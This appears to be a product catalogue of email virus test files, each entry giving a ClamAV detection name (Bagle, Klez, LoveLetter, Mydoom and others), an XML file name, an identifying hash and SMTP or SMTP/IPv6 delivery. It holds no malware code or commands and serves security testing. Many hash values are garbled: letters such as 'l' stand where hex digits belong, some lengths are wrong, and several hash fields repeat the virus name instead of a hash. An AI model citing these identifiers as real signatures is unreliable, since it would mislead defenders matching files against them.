Threat Package:	Email
Threat File Name:	VBS.SSIWG.e4963d61.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4963d61a4194ad5993cd1e99d32d7e8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.h.863c53a5_IPv6.xml
Executive Description:	Email Virus Worm.Brit.h (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 863c53a5a9f7439c170c4615308f24f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.0e17dbec_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e17dbec1904b7c10614bfb29ef758fd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.K2.d3325123_IPv6.xml
Executive Description:	Email Virus Worm.Lee.K2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.K2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3325123583523850e5c5638189200bf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.I.e26bc655.xml
Executive Description:	Email Virus Worm.SomeFool.I
Detailed Description:	This is the email virus Worm.SomeFool.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26bc65552359a226ce6589e60c22151. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dracv.2.b35c3c00_IPv6.xml
Executive Description:	Email Virus Worm.Dracv.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dracv.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b35c3c001da60be4995f80946baaaaa4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.JuneX.945a914e.xml
Executive Description:	Email Virus Worm.JuneX
Detailed Description:	This is the email virus Worm.JuneX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 945a914e518ba7975b562c551aaf4785. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Fireburn.54a600a6.xml
Executive Description:	Email Virus VBS.Fireburn
Detailed Description:	This is the email virus VBS.Fireburn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54a600a6efc06327151b3605baa73da9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.a.a.cbcd34a2.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Frethem.a.a.043145c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Frethem.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Frethem.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Frethem.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.72fff9ae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72fff9ae6f2e943c19d4df36ee776a74. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.CoolNow.coo.b974199c.xml
Executive Description:	Email Virus Email-Worm.JS.CoolNow.coo
Detailed Description:	This is the email virus Email-Worm.JS.CoolNow.coo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.CoolNow.coo. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.c.c.cal83ad2.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Without.b.b.f331646b.xml
Executive Description:	Email Virus Email-Worm.BAT.Without.b.b
Detailed Description:	This is the email virus Email-Worm.BAT.Without.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Without.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.1.9fa3a173.xml
Executive Description:	Email Virus Worm.Gibe.1
Detailed Description:	This is the email virus Worm.Gibe.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9fa3a173b3a9f3ce3f70b420a76fb83c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.5f643093_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.27 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f643093bc89231a9a37939c88710bd8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.g.g.cf5d80d9_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BY-2.57f4aa23.xml
Executive Description:	Email Virus Worm.Bagle.BY-2
Detailed Description:	This is the email virus Worm.Bagle.BY-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 57f4aa2390813e82b050984e6d90b581. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Snapper.sna.f5b5592a.xml
Executive Description:	Email Virus Email-Worm.Win32.Snapper.sna
Detailed Description:	This is the email virus Email-Worm.Win32.Snapper.sna as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Snapper.sna. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.d0f67ff1_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0f67ff1898780ef41fbc44f23b1529f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ypsan.a.4bb94fc8_IPv6.xml
Executive Description:	Email Virus Worm.Ypsan.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ypsan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bb94fc855ef86f92f8812bf726599cd. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.0dace309_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dace30934e7435a78140bc4bc19ed30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.c0ef9839_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0ef98399db1d87ec4adc46bd2839266. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.916b82bd.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 916b82bdf3f8a9df82e6dcbc0909c491. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LifeStages.B.b596bedf.xml
Executive Description:	Email Virus VBS.LifeStages.B
Detailed Description:	This is the email virus VBS.LifeStages.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b596bedfc7c64eaf48097167710c7633. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shatrix.sha.f65d8abl.xml
Executive Description:	Email Virus Email-Worm.Win32.Shatrix.sha
Detailed Description:	This is the email virus Email-Worm.Win32.Shatrix.sha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shatrix.sha. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Caser.cas.3e14c75b.xml
Executive Description:	Email Virus Email-Worm.VBS.Caser.cas
Detailed Description:	This is the email virus Email-Worm.VBS.Caser.cas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Caser.cas. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Logic.6582bb66.xml
Executive Description:	Email Virus Worm.Logic
Detailed Description:	This is the email virus Worm.Logic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6582bb666663e5089dd13d3a6e73204f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Duksten.c.c.6c18f8aa.xml
Executive Description:	Email Virus Email-Worm.Win32.Duksten.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Duksten.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Duksten.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Scaline.A.566740df.xml
Executive Description:	Email Virus Worm.Scaline.A
Detailed Description:	This is the email virus Worm.Scaline.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 566740df1c100a274ba2152c4d86dc46. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.lab6c618.xml
Executive Description:	Email Virus Kit.WCGen.4
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: lab6c61851933ace09d864afb3ec00da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.c09b69a2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)

Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c09b69a29532fdb3c383dad697ae00f4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nihilit.c.188e2521_IPv6.xml
Executive Description:	Email Virus Worm.Nihilit.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nihilit.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 188e2521adlead34ce3833454c002460. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.a.a.138119b5.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.151af978.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 151af9780795eae8bf0cd427068c0a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.A.a3f1c644_IPv6.xml
Executive Description:	Email Virus VBS.Entice.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3f1c6448ab96df3802d5a81757ce02a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.c0ef9839.xml
Executive Description:	Email Virus Worm.MyPics.d
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0ef98399db1d87ec4adc46bd2839266. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.K.301b39b3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.K (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.K as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 301b39b3e6aaf7cae5a9d84e1c78cf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nevezed.a0ca0ce0.xml
Executive Description:	Email Virus Worm.Nevezed
Detailed Description:	This is the email virus Worm.Nevezed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0ca0ce029d4c94c95a8b9ec040734d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Langex.lan.a21f458d.xml
Executive Description:	Email Virus Email-Worm.Win32.Langex.lan
Detailed Description:	This is the email virus Email-Worm.Win32.Langex.lan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Langex.lan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.FlyingV.A.1.42f6071b_IPv6.xml
Executive Description:	Email Virus Worm.FlyingV.A.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.FlyingV.A.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42f6071b6bd75d17c1ffd699fafeefda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-vbs.6c6238ce.xml
Executive Description:	Email Virus Worm.Bagle.Gen-vbs
Detailed Description:	This is the email virus Worm.Bagle.Gen-vbs as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6c6238ce315e87c909aaa2431fe7e879. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.a7d6779c_IPv6.xml

Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a7d6779c9a558a538bc77a5316041c4b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Orkiz.1.a2eb64ae_IPv6.xml
Executive Description:	Email Virus Worm.Orkiz.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Orkiz.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2eb64ae5de370e74301c5400df85d00. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Imitator.64761e6b.xml
Executive Description:	Email Virus Worm.VBS.Imitator
Detailed Description:	This is the email virus Worm.VBS.Imitator as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64761e6b6994e0ac577fa4c049cc3be1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2b9c3bb8_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.003 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b9c3bb86ea6c9973c317e6411e681e8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sandra.san.9b897efa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Sandra.san (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Sandra.san as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sandra.san. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.3710e115.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3710e11503f5e4d706bb8f189a2ac1b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.0c32628e_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c32628e76d9e7164efab028022364c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.e0099a41.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e0099a4194ab9f8fbbc982a966dbf8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.e932f86f_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e932f86fe47c694f0196edaab363e236. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.g.g.a629d04d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8eb51eal_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb51eal54966ca89e87c4f7eff80b4c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Kelino.b.b.6389436e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.c.b69622e8_IPv6.xml
Executive Description:	Email Virus Worm.Without.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Without.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b69622e85785ccc48dbd320c1443326f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Spthgen.A.7c59b4e9_IPv6.xml
Executive Description:	Email Virus JS.Spthgen.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Spthgen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7c59b4e93294bdf4db3038fb78104d9f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Along.3689e77a.xml
Executive Description:	Email Virus Worm.Along
Detailed Description:	This is the email virus Worm.Along as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3689e77a677f01d15dd352143ael376b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Eicar-Test-Signature.f23ddc28_IPv6.xml
Executive Description:	Email Virus Eicar-Test-Signature (IPv6 Version)
Detailed Description:	This is the email virus Eicar-Test-Signature as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23ddc28faac06ff61c7bd52ff76d6c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zapchast.bb3dc04a.xml
Executive Description:	Email Virus Worm.Zapchast
Detailed Description:	This is the email virus Worm.Zapchast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb3dc04a444b5daef36200420ecd5bfb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.5e0a9fel.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e0a9fel04ab8e32f8e8d4ec502289ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.7a9db04d_IPv6.xml
Executive Description:	Email Virus Kit.WCGen.4 (IPv6 Version)
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7a9db04d4fc07e0dlee48d00927745055. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Plexis.4.17e6f1e0_IPv6.xml
Executive Description:	Email Virus Worm.Plexis.4 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Plexis.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17e6f1e01dalbf842ecff57bfce34aed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sober.L.96fd4a01_IPv6.xml
Executive Description:	Email Virus Worm.Sober.L (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sober.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 96fd4a01db5a713236384498fbc5acd9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.a.a.abb60ef5.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	VBS.LoveLetter.A.35bcabb6_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35bcabb64ff7632d040e4bbb87f4e34b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Arica.b.1165e819.xml
Executive Description:	Email Virus Worm.Arica.b
Detailed Description:	This is the email virus Worm.Arica.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1165e819f5aae4cb58780e6b1e13296b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.b.b.975019a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.14726762_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14726762844fld3ede205b2eabf9dbf8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BDC.Griffin.Cli.f262e5a1.xml
Executive Description:	Email Virus BDC.Griffin.Cli
Detailed Description:	This is the email virus BDC.Griffin.Cli as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f262e5a1ca270bc917534aac4fa97fe2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nocana.d.d.e4e7fcb.xml
Executive Description:	Email Virus Email-Worm.Win32.Nocana.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Nocana.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nocana.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Hetrad.06ad57e7_IPv6.xml
Executive Description:	Email Virus Worm.IRC.Hetrad (IPv6 Version)
Detailed Description:	This is the email virus Worm.IRC.Hetrad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06ad57e772c53c43c0c5e06e8465534e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Antiax.8dfb3a3b_IPv6.xml
Executive Description:	Email Virus Worm.Antiax (IPv6 Version)
Detailed Description:	This is the email virus Worm.Antiax as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8dfb3a3b3680e105b3e4f3bd0c019d38. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.660b1a5b.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 660b1a5b54917adb9e165f5bd49cb94b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Apmas.apm.b35477e6.xml
Executive Description:	Email Virus Email-Worm.VBS.Apmas.apm
Detailed Description:	This is the email virus Email-Worm.VBS.Apmas.apm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Apmas.apm. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.B.cc6e6aa3.xml
Executive Description:	Email Virus Worm.Mydoom.B
Detailed Description:	This is the email virus Worm.Mydoom.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc6e6aa338385fbb0a005ba3d3e060f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Totilix.C.21dbca1c_IPv6.xml
Executive Description:	Email Virus Worm.Totilix.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Totilix.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21dbca1c9215f718afb88fa6b1d3e7c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.d19bbffc.xml
Executive Description:	Email Virus Worm.Repah.a
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d19bbffc3706ea903d94282cf72fcc67. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.IWorm.Haiku.bc41f463.xml
Executive Description:	Email Virus W32.IWorm.Haiku
